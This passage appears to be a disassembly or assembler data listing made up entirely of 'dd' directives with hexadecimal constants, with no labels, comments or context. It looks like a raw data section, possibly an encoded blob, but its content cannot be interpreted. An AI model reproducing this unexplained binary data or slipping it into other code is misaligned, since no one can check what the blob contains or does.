		dd 0F631BB4h, 698D2108h, 0C8E75A4Fh, 73B3803Eh,	1B00D6FFh
		dd 10DFEDA7h, 0AC46CEh,	0EA88981Dh, 9A3B7AD1h, 0F4F3FC00h
		dd 0DEB15BC9h, 8AC30051h, 8F4607D0h, 6E07C094h,	0CA618E95h
		dd 5DFAF5A0h, 0D5400345h, 0F87D2192h, 61471488h, 80E43Eh
		dd 6E2B5202h, 0C63C98h,	9B857E4Fh, 9F8C63B2h, 73551400h
		dd 91D1FD92h, 3B530068h, 0A8C22BD9h, 0BC7E9A6Eh, 32356F1Ch
		dd 19CA3180h, 1F3B64C0h, 40F10326h, 7DC5EC25h, 0B0F6857h
		dd 0DDFA41FBh, 0A35B66C0h, 7EBF37h, 1E30C397h, 8CEDC9EBh
		dd 4B18DF00h, 7110418Ah, 0AE4200B0h, 0B5BDB8ACh, 8F15CDEBh
		dd 0DC15B6h, 1F22130Ch,	3A16635h, 9F2FAF3Dh, 10F36F7Eh
		dd 3315C5A8h, 0BB2C300h, 0D9F8A8E1h, 0AAE801A1h, 0F183EA93h
		dd 0B89EE04Ah, 97005D79h, 0FCC91E7Fh, 7F8489C2h, 0C653016Ah
		dd 8FDC11CBh, 0E01AC93Fh, 0B6000B77h, 7C4F1787h, 9DB7F0h
		dd 40D9F5F4h, 0CA8E44A3h, 79140300h, 0C637C387h, 0BCE50067h
		dd 86401AA1h, 9900B67Ch, 0F7CAEAC9h, 3DE5321h, 0A65FD03Eh
		dd 1CF89C0Fh, 7100F137h, 26FFEA27h, 1F67849Eh, 8095F54Eh
		dd 0D68081B3h, 8D014DBAh, 1DA6C26Eh, 7F609C05h,	0B43D0604h
		dd 0E4BB699Eh, 8DFB5Ch,	9490B7D9h, 4B996Ah, 71F33238h
		dd 2D53AF88h, 7029E001h, 0A9CE30FCh, 0A1AC4h, 7B04E676h
		dd 9DF745BBh, 0F1DB50C0h, 0DC5DB2h, 0D6FABE9Fh,	0A4FE9244h
		dd 0B0937B00h, 0C5B415A5h, 0AE840474h, 0B88AA6EFh, 93127E2Eh
		dd 800347Dh, 8E66AC56h,	0F7B800A8h, 8BC67592h, 63041E52h
		dd 6F238DEh, 725C180h, 19E4E8h,	0A417D17Ah, 5BDDFF7Ch
		dd 821E0100h, 72813DAFh, 0A3BD28EEh, 1CD00386h,	0EA4E1F97h
		dd 0F957E2B0h, 66C6231Dh, 6C008F2Ch, 0DB298614h, 21A700B8h
		dd 205CF7B2h, 66001232h, 31042E92h, 355D881h, 0F6761664h
		dd 6988C582h, 0E0006FFh, 0AFDCA3C1h, 0FBE0204h,	0CDF30C22h
		dd 0E900ED2Fh, 0B0FFB803h, 82323000h, 70FE2018h, 0F39A1FC9h
		dd 0E8F9420Ch, 70696D95h, 1358F0EBh, 0C3A6AC00h, 6F269F91h
		dd 0F4B000B4h, 0F0CCFE74h, 0B5008B28h, 2F56D038h, 61516Ah
		dd 0A20FF8Ah, 71D8CC97h, 0D5004EF0h, 0D0F0BBA0h, 9807FB7Bh
		dd 3D99002Eh, 37760868h, 0A700D365h, 426AAA20h,	784B335Ah
		dd 1E2100FBh, 2FE89271h, 0DAE8B598h, 6B3F4F0Ch,	282BF881h
		dd 0F0336Fh, 0CADECCA7h, 3EB1B67h, 35071090h, 510599C6h
		dd 96A3001Bh, 3DAA3Fh, 0C5EE03FDh, 4109C042h, 1F6F8600h
		dd 0FE570268h, 0F7B700CEh, 97A47834h, 0FC98F240h, 447C6300h
		dd 0E552944Fh, 2B6B054h, 0E767FB36h, 0F260D47Bh, 1013A79h
		dd 0C73DDEA5h, 12FCFD50h, 0D35F0071h, 49E81E6Fh, 0A47A69F5h
		dd 74DDF11Dh, 0BFA68140h, 91C5657h, 0C4F0B7DAh,	0E0044D09h
		dd 0F801C029h, 0BD903CD0h, 8E7D5C2Eh, 0A0D3EB00h, 26EABCCAh
		dd 2624E177h, 0CF1D001Ah, 0BEE41C5Dh, 70F84Ch, 0CD44B8C7h
		dd 652DFFh, 0C00A6113h,	7B95633Ch, 0C475ED01h, 925F4656h
		dd 17A8FD20h, 4DB38DCh,	0C0155BDEh, 0D844C324h,	397EEF44h
		dd 368043F5h, 0DD1695B0h, 0B90062D1h, 9CEC9103h, 8D49CCh
		dd 0D414B359h, 5465C496h, 973AED05h, 3880CDBEh,	386EF02h
		dd 5E17E98Bh, 31F03476h, 857111ABh, 0F7637A00h,	0F02A235Fh
		dd 257240h, 3F69346Dh, 0CD7D87AFh, 0F103A9E2h, 0D52AB11Dh
		dd 6265CA88h, 79AE8244h, 6F30C00Fh, 41A400DFh, 585932A2h
		dd 2B07C751h, 0AD88555Fh, 0BEDCC6A0h, 2DDD00EBh, 1002EC7Eh
		dd 1812596Bh, 0D601B52Ch, 62E4BDF6h, 67FFC0h, 0AEC69D3h
		dd 5AD1649Ch, 315B7600h, 0E24A7451h, 11DC0975h,	4C01887Eh
		dd 0CCA5C01Fh, 0B01FBEFh, 0ADBC773Ah, 5080B607h, 7FBFA9B1h
		dd 0FB01056Dh, 0D63C3A94h, 4AC18159h, 3545CCh, 737AAAA5h
		dd 146E741Bh, 4CD8F224h
		dd 0F8EF7002h, 0A0CC60h, 0A582E75Fh, 0ADB2815Bh, 0F42479F4h
		dd 540F0CF7h, 579B00A6h, 0FE4F59Ch, 6E648E33h, 0D26C4492h
		dd 0CBF3807Fh, 72000BB6h, 3605686h, 36AF40h, 19DE97D8h
		dd 0DB6A3589h, 88D4DA00h, 4C4E3879h, 88C6507Ch,	9AD00E0h
		dd 72D083B8h, 29017E80h, 0F3E2E1B4h, 9040328Dh,	20C05CF5h
		dd 0F0087CEh, 0DFB09C34h, 0CA7B46h, 98C40DAEh, 819249E7h
		dd 2E0F9900h, 0BDA635BEh, 6B83034Bh, 5ED01173h,	7FC0559Ah
		dd 433B0A64h, 853E052Bh, 9002D186h, 15083C60h, 4B800490h
		dd 5B378B9h, 6E9A6800h,	46731EC9h, 74FC96h, 0E14A6BEBh
		dd 7A49C802h, 8BED4202h, 48469AD6h, 0A4C1548h, 72F69295h
		dd 4AAB8088h, 0D8D34560h, 0F01DA003h, 1EB0C3Ch,	39D9DB70h
		dd 0F0B01AACh, 0B909E1h, 0D3E9AB07h, 1560F6D0h,	67EF006Bh
		dd 1A24F186h, 4202C041h, 0D32EFB52h, 36856029h,	5E820997h
		dd 0D400177Fh, 471B08DFh, 84707607h, 0BEA06E29h, 3D739Bh
		dd 0E3A2074Dh, 15660CE2h, 0D5EA0500h, 5A631052h, 386E00B4h
		dd 147C5C64h, 167A2EA3h, 0BB7ED109h, 0B7D0005Bh, 1A73C6Fh
		dd 0B3FD2581h, 241F5C08h, 0C80A5F18h, 0C0DBC05Ah, 0FAAF600h
		dd 3FBFC7Ah, 47BCC319h,	0A2F0EDBAh, 0BB002FD3h,	0E817BDD4h
		dd 834626h, 62DEB156h, 93B8B6B0h, 0F600CC90h, 92E249FEh
		dd 0E83E7Dh, 51698199h,	8277ABCh, 1A0018EEh, 39E1EEA6h
		dd 1AD9633h, 66179C35h,	40E68780h, 4727F7BCh, 4AEAC820h
		dd 0CC5C431Fh, 5FB0CEB5h, 0A60096F5h, 1D0F5EF4h, 71A395h
		dd 0B32B49BFh, 851E28E6h, 37C93007h, 2433EFA8h,	4CEAF0F8h
		dd 8BEE147Eh, 5304BC22h, 0D0EC2873h, 11DD190h, 0B8213803h
		dd 82CCEE5Ah, 2BCAC00Dh, 50D7000Fh, 0FA22AADFh,	3C0114EFh
		dd 0E233E080h, 0C04041B8h, 0B8C31037h, 0A585C54h, 0F26F7F00h
		dd 6EF00EA1h, 2379B00h,	622D1672h, 248C94E6h, 481E0080h
		dd 4317EB23h, 7B89B15Ch, 0DB13FA00h, 6B8A385Ch,	0EBC070Ah
		dd 0BFDE50A6h, 5B00AB32h, 71B79869h, 94CC5012h,	884A486Ch
		dd 3B5E0C80h, 493948C6h, 0FDB500D2h, 714ACB07h,	1857F66Ah
		dd 70BC976Fh, 7603954Bh, 58B85228h, 0C45EF1B6h,	0B1B9C880h
		dd 22ECF75Ah, 29048EE6h, 1FB6244Ah, 8DDE1381h, 35A47450h
		dd 2FB70046h, 0E24E176Dh, 0BE00A7FAh, 4070831Dh, 0A48E6B42h
		dd 0BB730388h, 6A347715h, 0B62EBE98h, 667C5503h, 0B8BC58FCh
		dd 4A733F7h, 0C4B9757Eh, 910080ACh, 542861B5h, 98001086h
		dd 0C93CF6E2h, 9A4A5024h, 1D350080h, 0B2C63DE5h, 0F418948Bh
		dd 5A10E405h, 34526B3h,	340B4644h, 9FE0697Dh, 997C0105h
		dd 0A800CD25h, 7B62D0C3h, 0A8E471h, 5ABB324Ah, 0A1937903h
		dd 6831E0EDh, 84E30D00h, 45B94E0Fh, 0F4F90051h,	0B2431BBDh
		dd 8C015058h, 0A5F0EFFh, 0F07B8752h, 1F1D47D7h,	0F680EC2Ch
		dd 1D4A09Ch, 84AF09A2h,	0F880A752h, 144F2DCCh, 0C592471Eh
		dd 367CB600h, 0A1ED80h,	84A9A3E1h, 9F825F0Ah, 16240B0Fh
		dd 3EB2E89h, 0F880C332h, 1EA1F605h, 716BA6h, 0DAF98E4Eh
		dd 24307729h, 49DDE0C0h, 7CA300B9h, 0A4471326h,	80410A6h
		dd 9D9DC43h, 55742081h,	3CE63FCCh, 8501235Dh, 9847A529h
		dd 0E46C022h, 9D7BC000h, 35B91E5Eh, 0BBDA00F3h,	0B52B5D66h
		dd 6B01D59Bh, 0FC2265C1h, 43F05ACBh, 0E4480021h, 2D62074Fh
		dd 0FB007D18h, 0EF9799EEh, 5C4C6Fh, 9246B91Ah, 7E3261DBh
		dd 49BD4100h, 5F449E9Bh, 54AC3D84h, 1521F982h, 0F2E17145h
		dd 0D099C901h, 9B00DA76h, 0E230E604h, 75F491h, 28AD9C09h
		dd 7125D9CAh, 0AF512203h, 0D863C82Eh, 213DF7h, 0DA15AB90h
		dd 1C4AF343h, 8FC8D00h,	4B064F0Fh, 7C250088h, 0C6A6EEEFh
		dd 0B775E01Eh, 1A023100h, 63221735h, 0D4B13BE6h, 0BEADDB83h
		dd 51A0A07Eh, 0A700B9FBh, 59210610h, 0E85871Dh,	7E8FC240h
		dd 4FF7B2C0h, 1C03033Ch, 0BE5A0D5Bh, 570F9850h,	3F4FE61h
		dd 599BDBE9h, 0BD9AF1DAh, 625AE8E0h, 0BFCEFA00h, 0B6C521B9h
		dd 22E90088h, 808F939Bh, 0D3004428h, 0AE8BD4E8h, 0B0C39FBh
		dd 2D7C02A0h, 0D0986381h, 0B8FC05Ah, 7A4AE33Ch,	64C7C91Dh
		dd 6CB6E787h, 0E4F12260h, 9CB81FF6h, 0B4080CFh,	9DAED592h
		dd 0C3C91501h, 0E51C5BDAh, 7CEA5080h, 84267891h, 0A9459E00h
		dd 2327EFD3h, 2DAD00FBh, 0F647467Dh, 580CF448h,	0D8AE5E4Eh
		dd 0F2D8004Bh, 17F375A5h, 4F00ADE9h, 0AB6277F8h, 0CC3396h
		dd 0DE2765C6h, 0BEF4DD08h, 71BAFE00h, 3F8F81C1h, 5A7A0033h
		dd 0F11912F5h, 3C0070A2h, 5544295Eh, 0DA256Dh, 0E2FC157Eh
		dd 0B6F1FB06h, 871E3E7Fh, 60000B11h, 0F96A94A7h, 14C7AC5h
		dd 78E16CB4h, 0D8ACAB92h, 0E37C99D5h, 50B0DE00h, 39B75DC8h
		dd 0A2BD00D7h, 67A02FCBh, 50073CFh, 0FB4B2782h,	90B699F3h
		dd 48E07Ch, 0FEB0E3DEh,	3E619FC2h, 28EBF600h, 0EEB6A9CEh
		dd 91CC0071h, 0D656169Ah, 8A008714h, 62BF077Eh,	21CA41h
		dd 36A4862Fh, 0D45A4246h, 4CC7BC00h, 0DA643FABh, 6558003Ch
		dd 82FECA9Eh, 0A0A8139Ch, 531FABA5h, 0D2D40BEAh, 95DF00B4h
		dd 0EB5F1850h, 85C7000Ah, 0D4082E8h, 97FC2164h,	0F3300807h
		dd 0AEA01AEFh, 48B0FD91h, 11007879h, 5BAD4A24h,	0D10C6DB5h
		dd 88839B69h, 0E560000Fh, 0F97C5978h, 0F8601576h, 0A46873E4h
		dd 0D4370F8Dh, 0BA066EEh, 0E7B69205h, 0CC324107h, 0A8B0F58Eh
		dd 961E0Dh, 1F3FBEDFh, 2FDA9348h, 51720700h, 0EB65ABC0h
		dd 413900CAh, 4B7081B8h, 4E00453Eh, 446766DFh, 778841Dh
		dd 72BA0112h, 3F0340A8h, 4005EC6h, 41A0E8AEh, 71CDBh, 47B4879Bh
		dd 6A90C71Bh, 2C03D4F2h, 4618A7Bh, 0E1ED9BF8h, 0FDC01E32h
		dd 811B0087h, 0B229F1C7h, 54C0B028h, 2D45FE2Ch,	0A8E0016Dh
		dd 0DBAC3CAh, 74E5ECD5h, 0E1299700h, 0A6FA981h,	5C720077h
		dd 5741F9B9h, 0BCEA7851h, 7A6CBA5Ch, 96CFB71Dh,	0D4080640h
		dd 393772h, 18E95C91h, 0BE3475A9h, 6D30520Ah, 0AD009445h
		dd 251238AFh, 9FE000CCh, 7881981Ch, 3E00AAFEh, 0F9A099F1h
		dd 1B16F6Ch, 0EB647CE0h, 0EB339CFDh, 6E50A8E0h,	360EE300h
		dd 55ADFECDh, 0B40705Bh, 0EE825CC3h, 0CB8FEF80h, 6607A735h
		dd 22F94590h, 0D55068D0h, 93860039h, 0BAA9F370h, 1407B697h
		dd 6D9DA107h, 0FA338290h, 491A07D1h, 0CB406A6Fh, 2CC2F00h
		dd 0ED2668D3h, 0B887997Bh, 258070D1h, 0E93D666h, 768FC52Bh
		dd 5873A966h, 0E020BC03h, 0B7847ADDh, 57C0F2B0h, 48F36082h
		dd 4D86E409h, 85ADB200h, 155980B1h, 0D539075Bh,	709C54C9h
		dd 777448BCh, 80B0A63Dh, 4A1E6383h, 1BA7A64h, 0E4991954h
		dd 0D4F62BA8h, 9206D1D5h, 366837D6h, 96E70B80h,	9580D228h
		dd 92B05BE9h, 0FB030B00h, 0AB60E440h, 0F15A0288h, 6F6765F8h
		dd 307FD6C1h, 1DE8A327h, 0BE8DF600h, 0A8B3ECB8h, 0B7B81Bh
		dd 45DD35F4h, 0CDD43BEDh, 0F2CF5100h, 0E3CC675Ch, 47990270h
		dd 0FA2B572Fh, 0AED894E3h, 0E0003728h, 88685BE6h, 9AD392h
		dd 0C84F2641h, 0BAD4353Bh, 0EA274200h, 72D61E86h, 0A87500EFh
		dd 9D55EBC9h, 8900D126h, 0A19ACE11h, 12AA88BDh,	0E31282h
		dd 546DF554h, 4F00DA5Dh, 951E2713h, 3B12653Ch, 1980142Dh
		dd 446B528Fh, 0F2005BB2h, 7F3409C3h, 652CFEh, 0ABECBC3Dh
		dd 1AF83184h, 0E9B89611h, 65122100h, 0CD01240Dh, 6A8A6900h
		dd 0A12F1371h
		dd 8223007Eh, 9CAA4106h, 2E002884h, 957C1E40h, 3E6AFh
		dd 312FA993h, 5BB97823h, 0CD491009h, 4F7401CEh,	0A03B144Bh
		dd 0E700B2F6h, 8885BE74h, 0FE5A071Bh, 27B95CE1h, 91CA0867h
		dd 200E56ECh, 93A0B898h, 81022176h, 9A7F767h, 0B08483CEh
		dd 804BE117h, 0E8A89820h, 9EB60333h, 3DBDD223h,	24E04100h
		dd 1E2CA326h, 0B90B1784h, 0A9F6098Eh, 3145B420h, 5F00D872h
		dd 4414CB59h, 7A495ECh,	52F30FAAh, 0EAF0B19Fh, 3ADC701Ch
		dd 39F0FC7Ch, 1C32400h,	0D3911B0Dh, 0E0CF60Eh, 0A22EF81Dh
		dd 6FF63820h, 1109C162h, 802922F7h, 0A01FF99Ch,	0E2F800D3h
		dd 5DE52409h, 5400B362h, 11A94B21h, 55222Bh, 0F101E33Dh
		dd 688329A8h, 0BC94803h, 0A8BB4519h, 17C5E6h, 0E8814C1Bh
		dd 55A38D09h, 44743703h, 0B0F4FF75h, 2B4BCC0h, 3E999B3h
		dd 0AD40648Fh, 925440CEh, 320091C0h, 85C13BDAh,	7D7AB5EDh
		dd 0B9C3002Ah, 880414B8h, 0A900C85Ch, 2D72A2B3h, 563305h
		dd 87F0C10Ch, 82920420h, 1DD5DD00h, 15B41922h, 0ED6E020Ah
		dd 43739197h, 28DA480h,	770049E2h, 0F1825818h, 2A78C988h
		dd 0C0E829h, 0B95B7505h, 0DD7D4AACh, 0F9FC7012h, 27AD000h
		dd 1D7B565Fh, 0C06411EAh, 896A82A4h, 1B300454h,	4016C8B4h
		dd 68134C3Ah, 0B9697609h, 62E2C00h, 9930DAD5h, 6C50C8F0h
		dd 73E0003Dh, 77983EBFh, 0A7007C4Ah, 43FFED67h,	4CD9EA61h
		dd 96134B62h, 4F740712h, 525D201Eh, 5C00E806h, 32AA3874h
		dd 46FAEE2h, 0A15F4B46h, 8D3CC094h, 3290C501h, 5C9210E2h
		dd 3A00F7FCh, 0F9F83893h, 0FD76B9Bh, 0EBA8EC41h, 0AFC084E0h
		dd 0CF0086B2h, 38753343h, 3F9A79C5h, 744CCAE4h,	9C63B01h
		dd 117A0EBh, 2612DBF8h,	4780B065h, 1C8CC112h, 59C0C0F7h
		dd 5517B2FAh, 31D430E7h, 58BB0920h, 39000056h, 0A0A5DD10h
		dd 1F16BC96h, 55007786h, 268E8CFDh, 0D009076Eh,	4E2E6854h
		dd 36553460h, 411F0877h, 0F100232Ch, 0D7339214h, 0A46C0F07h
		dd 0B8A5D58Ch, 0B3F080C5h, 0B0000E5Ch, 0A60D0B7Dh, 43F1EDAh
		dd 4B57B4FBh, 1B3480C3h, 0CC00F688h, 3113809Ch,	0F2DE15h
		dd 613E1CE7h, 97E159D4h, 560375F6h, 74457294h, 1A90DF0Fh
		dd 0AE95F9h, 0E167E4A9h, 6FC63DFDh, 816A0E00h, 0AB376DEBh
		dd 0FA725Fh, 62D4840h, 326EEF63h, 80890439h, 0CC55CDF7h
		dd 0E271CFh, 0A082965h,	0B153D3A3h, 6006190h, 5ADABC4Eh
		dd 0A0097F39h, 12D9DECh, 22C28DA7h, 242A9908h, 6A00B9A8h
		dd 2D7A02F2h, 0C2CED5h,	0F1EA0AA2h, 2FA5DC60h, 78207403h
		dd 0C043B5EBh, 1E152Dh,	40C8F8F4h, 314AC38h, 0D5ED6500h
		dd 28CCF193h, 5A9F8020h, 3B0043F2h, 0E7078494h,	70FD294Ah
		dd 12217A8Eh, 0F61E76h,	98F7C2Ch, 4A48187Fh, 9AE46020h
		dd 992E60Bh, 1E95649h, 8110820Ah, 239DB10Ah, 1502D2B9h
		dd 72247Eh, 0FD6AA575h,	9EF61CFFh, 286D8051h, 98260EFCh
		dd 3A84A5Ch, 67DFD27h, 0D98380B8h, 6EE2BCh, 0A82B2D16h
		dd 0E91B9951h, 0DDDA4E13h, 0E06078A1h, 41151DD4h, 5F160059h
		dd 1D76C201h, 0D13CFC00h, 73FE2F28h, 0FB0C264Fh, 9E2600h
		dd 8D890BCh, 0C348D62Ah, 5A9B141Fh, 0CD9707BCh,	431395E6h
		dd 606ED83Eh, 9D5D3BADh, 0E501285Ch, 838BAE93h,	0FAD641EDh
		dd 77D9CF78h, 5FDE846h,	6CD55604h, 0C0EF39BCh, 5811F5ECh
		dd 0A90088B0h, 24100CFAh, 6D8D5h, 98A159DBh, 9AB025CAh
		dd 0ACFE83A0h, 0CB5A5402h, 0E81EB95Ch, 1CDB3FECh, 976A4161h
		dd 33384765h, 5AD5D00Bh, 7400F055h, 0A53C0EDh, 2E786115h
		dd 1748B1ACh, 0CB100059h, 57EC877h, 0B039D112h,	0EF386AACh
		dd 1BC297h, 0E29FC73h, 0AF14D76Dh, 2F830EBh, 7CF03D2Eh
		dd 0FBF08019h, 2FF93Fh,	8F45F60Eh, 61CB6B9h, 2021106Eh
		dd 563622F4h, 38340039h, 3A3F7E09h, 4B00FE2Bh, 0CDCB48F7h
		dd 7DB2A965h, 0F364005Ch, 47E15D75h, 170EBDE2h,	0E0D21F79h
		dd 2296B3FFh, 0FB5F0040h, 6E92645Dh, 40EDC10h, 60BEB4CEh
		dd 81E12E70h, 0E5F20Ch,	0F98F7796h, 0F8D795B2h,	0C7F16900h
		dd 8615797Fh, 0A56009Eh, 9BE7496Dh, 0EE3CD909h,	0BD01B97Bh
		dd 43408060h, 58E325ACh, 0D6B539E8h, 2720685h, 0F83CD0D8h
		dd 0FC0FEEA8h, 44DA76F2h, 0CA818140h, 0D6200D46h, 3B800FDh
		dd 43B7DB32h, 2A0095DCh, 37732610h, 21997C1h, 23E9EBA6h
		dd 0D8E012F9h, 0F302EC53h, 0C55DF416h, 27E8C87Eh, 4A60BD52h
		dd 840007B7h, 4C6626C1h, 18D109Bh, 4AB85394h, 0EC925545h
		dd 8B01B3AFh, 0C1A8CEFFh, 85D49B6Ch, 9A280073h,	0F9E69531h
		dd 79F84076h, 0D49F1B12h, 8F0A700h, 2DDEC6h, 6BE1530h
		dd 0B0CB0755h, 0EE02B09Ah, 8D54386h, 0B68840D9h, 7140099h
		dd 494B5ACCh, 0EB75675Bh, 1D20E000h, 94C1D204h,	4010001Bh
		dd 0A72BBA1h, 43005177h, 1444A019h, 0ED26322Fh,	547C5D4h
		dd 20340D71h, 2808019Ah, 0E86B03A9h, 0FA095BC1h, 803CCA7Fh
		dd 12FBF384h, 0F7CCFB5Fh, 6A91C0EAh, 0B22C6358h, 0A6BBE015h
		dd 12688810h, 0E0E801B1h, 0CFA8C3DAh, 8BA4083Bh, 29C0E356h
		dd 0B2C4037Ch, 7543A866h, 0BF745Fh, 295D2FA2h, 0D23BDD97h
		dd 0F16FD400h, 3AFF20F9h, 14B34D7Ah, 1A676B07h,	0D609409Dh
		dd 0FC384912h, 5F3B017Bh, 81A02AB8h, 8930509Dh,	1E8C27E7h
		dd 0AC0CE8A1h, 7882DEDAh, 9120D832h, 0D026BF1h,	3334F299h
		dd 390C8329h, 0EFA820D4h, 0A33CD48h, 74276798h,	88C67A03h
		dd 0E87FDB41h, 14D4445h, 89510F6Ah, 0FC32545Eh,	6C01E735h
		dd 9EB9E5D8h, 5AF4EE55h, 40D9008Eh, 7ADB61C3h, 6C00A260h
		dd 0E6596986h, 30A3B8h,	80049EE1h, 0EBB06F8Fh, 933D06C0h
		dd 12BED78h, 0D4E4E641h, 0D83FDCFFh, 0E107ABD5h, 0F229285Dh
		dd 17C513E0h, 2B2A015Eh, 0E5DE616Ah, 0EB07CC25h, 872D18C5h
		dd 0E64B1481h, 7A9D9050h, 3959F092h, 2701A701h,	0D4E3EE66h
		dd 748850E6h, 9439B3F9h, 0F711604Bh, 0BAE2977h,	0C0C3CADAh
		dd 18BDBA8Eh, 9D1E21F3h, 6817A8A0h, 0E619D67Bh,	0B080E4EBh
		dd 3F4B470h, 0CE4DE5DFh, 1808DCDBh, 41322B28h, 3E8EB6Eh
		dd 7FD689E7h, 1697BC50h, 0B6E06Ch, 64077A28h, 63DFAA32h
		dd 0B821D963h, 0BBFC8094h, 646C003Ah, 0B120D9Bh, 98F4A07Dh
		dd 0DEC75F00h, 0FB82F8EEh, 77E67Ch, 6775D515h, 6A4ECB21h
		dd 7E1789E6h, 29002CC6h, 9B62B88Ah, 431E00A2h, 51C8615Ah
		dd 0D03F1CA5h, 266F8094h, 0D7DC4868h, 502E0049h, 0BC7B92AEh
		dd 3002958h, 0BDBF606Fh, 53F7751h, 6E37C4C0h, 0E525C1DEh
		dd 0F3FCFCEEh, 4ABA8F00h, 0C98962A0h, 0FBCD0090h, 72A136B8h
		dd 0B9076E29h, 6FA31496h, 4D084AC0h, 0ADE40027h, 6C0E1850h
		dd 5F582D25h, 5B0F181Ch, 9E6D30h, 9FD76413h, 377BEA5Ch
		dd 98BDF700h, 6AD6ED8Fh, 0D4E8C0h, 52C49670h, 0B9EAA36Eh
		dd 8C2ABE00h, 0ED3124B6h, 0B544009Ch, 0A172E7Fh, 0A80F383Bh
		dd 40D48F92h, 0FCA2ED37h, 58F56FABh, 7240F1A0h,	3903EC1Ch
		dd 0A1EF42BAh, 4441E093h, 1418C17Ah, 2BF20D9Fh,	697EA0h
		dd 73DE97A9h, 39CCF067h, 57842900h, 66EF987h, 0EBE70F18h
		dd 0D60DDC1h, 0E6795B28h, 0AFC81500h, 62376610h, 12320006h
		dd 98E53072h, 0BF24509Ch, 61003E17h, 4F33DDA1h,	0C6E17E7Ah
		dd 596BB050h, 531D9C7Eh, 54007CBBh, 0A3ED7DABh,	0DC763833h
		dd 511850h, 21CBCEDFh
		dd 0F21B5F01h, 50CD700Eh, 0C234036h, 0FA999DCh,	21B5267Ch
		dd 7E583800h, 0A4071827h, 0D7A19888h, 0F4436D3h, 0BE514738h
		dd 8A395840h, 0DD009314h, 0FD5EBDA9h, 1B2C3Dh, 2187318Eh
		dd 2285098Fh, 4613DA1Dh, 6881AA0Ch, 9DDC40EEh, 7EEA8E00h
		dd 16A43519h, 28910009h, 0AB264D34h, 64003959h,	333EC7B5h
		dd 35835Dh, 6E3CF2F9h, 4654A94Fh, 218008CCh, 0F9E486h
		dd 68DD4A93h, 87FD3C11h, 909BD71Ch, 850BE740h, 38A4CEh
		dd 0A38DAFF0h, 825E713Eh, 62E0164Ch, 0C0F85310h, 0CEB8B1Fh
		dd 64BAEAA7h, 21C01F08h, 34124078h, 7B3C000Ch, 306C1E69h
		dd 46F235F7h, 7A312AE8h, 8CA391C5h, 0F10361D2h,	821E1180h
		dd 677269F0h, 0BBC7C90Ch, 0C252086Fh, 0F06A7B21h, 0DCEA6561h
		dd 0A503FCD6h, 0C53AFD09h, 7D68CED5h, 0EC611E37h, 7D0020A9h
		dd 5681B06Ah, 1D2F663Fh, 184A88DEh, 82702179h, 36FCB107h
		dd 0FB87EC3Ah, 0B0223965h, 0F88F3066h, 0BE463CE2h, 88243822h
		dd 7A006937h, 934C7EF8h, 9EA0A05Fh, 0C35A2877h,	0D79001ACh
		dd 56EF3A6Fh, 8DB9C028h, 42AC9E00h, 6DA53CAEh, 0CD7207FCh
		dd 80048938h, 0AA0CC48Ch, 6908F300h, 0E0A8BD68h, 876D0E2Ch
		dd 2401DB3h, 0CA061FE4h, 63016A04h, 0FBC015E8h,	9B9E78h
		dd 83DF2665h, 4FB29CC7h, 2DB50100h, 0E18A7731h,	0BDA800CDh
		dd 0B6534423h, 88001E4Ch, 350261FFh, 33DAE95h, 0D7A96DB0h
		dd 7BC87F5Fh, 1900DEEAh, 216FD81Ah, 3E7977CFh, 70037609h
		dd 0FE7E92D0h, 0B42D97D8h, 173CDA00h, 24BFC904h, 0B9CF02Bh
		dd 0F4090713h, 0E826BD00h, 75F0AF4Eh, 9A4AEA00h, 0CB82E2Ch
		dd 0A06FB892h, 0B9FFAAh, 415A8DD9h, 0C27C75CBh,	0E4011B00h
		dd 0B61EC18h, 36C60040h, 0BC3BA733h, 0AC1C3078h, 9E002F03h
		dd 0BF87F116h, 4C323F96h, 0C8593481h, 0D4AD93EAh, 7A3C9FFDh
		dd 0CF680E8Fh, 23920069h, 0A303DC1Eh, 43AE580h,	0D3D8FE07h
		dd 0A992C034h, 740C4053h, 94A58C2Eh, 0A09C3C6Bh, 0C4328E0h
		dd 82114520h, 447E50DEh, 0A3449D9Ch, 4E0D448Fh,	84945644h
		dd 42D49022h, 55B9119Bh, 117B6811h, 0A721D1CBh,	902B7508h
		dd 0C761849Ch, 8942D348h, 21302432h, 9F12C5F4h,	892D1110h
		dd 44330824h, 8888EBBCh, 4DD800D7h, 0DB64B8C8h,	0D000FF90h
		dd 6D8C6025h, 0D157EDh,	0A62BDFB2h, 0B0E1E40Fh,	9ABC400h
		dd 0D6E9F26Bh, 0AECF00B1h, 299F8624h, 0B9F6A575h, 0DF82E106h
		dd 589E38h, 0BA36309Ch,	37CF4AD9h, 0D3F1D800h, 0D1DBEA09h
		dd 48A0074Fh, 0F061C6C3h, 2DE37806h, 3EC05400h,	4E5321B7h
		dd 254C0075h, 0B80A0540h, 0C603CC50h, 4756D6BDh, 0D39FC030h
		dd 999C00C0h, 0AA5BA22Eh, 0B8772021h, 134038DFh, 0FD19B38Ch
		dd 17FF1207h, 611441CFh, 0E4B2B443h, 0EF019192h, 47B46C8h
		dd 7AE8D883h, 251A0702h, 0F09F4EF6h, 350B45FEh,	0E5ED4800h
		dd 0F162AD0Ah, 0BB903967h, 822300FAh, 0C74C1D7Bh, 7048C87Eh
		dd 81280044h, 38933DB1h, 0A58000FAh, 6B1DC9C0h,	9C005D04h
		dd 2EAE9ECEh, 5840B5h, 4920D54Ah, 9BDA9D28h, 0D0EA0800h
		dd 307DEC4h, 237B000Eh,	1EDB815Dh, 2860784Fh, 2FE00438h
		dd 1FFD76C5h, 9F2E4EEAh, 0AFDA40B7h, 0C2064AC3h, 6A5E2014h
		dd 8B3E00F9h, 1A05B827h, 0C4820013h, 45F92B3Dh,	6600311Ch
		dd 236484FFh, 601AB79Eh, 5158E08Eh, 0AD076944h,	6DAF0238h
		dd 0B362C280h, 50DB0187h, 0B84B65E3h, 64B820D7h, 29AB9A00h
		dd 78988CA4h, 0C3A3004Ch, 0A2619C41h, 740043B9h, 0C222FBC5h
		dd 5FC052E3h, 0A79AB0ACh, 711D0600h, 0B0A1FADDh, 55AA0441h
		dd 80E88F01h, 0BCFB1E2Ch, 65959E0Fh, 0D9CC60FCh, 700494B2h
		dd 5EBE3D11h, 4605AF83h, 3DD6CCFh, 7B08A4E0h, 94B935A0h
		dd 0A65F8000h, 0EEC5CF2Eh, 436302E5h, 3AEB0F01h, 286EE481h
		dd 5E1020BAh, 0E4006092h, 86828EC5h, 0BB1A3Eh, 75C051F3h
		dd 0E247F641h, 4AA88500h, 0CBAD2107h, 930F3FE8h, 5C1C9B00h
		dd 7386FAA6h, 0DA235517h, 4D543A00h, 7E11E4F5h,	77CF8D6h
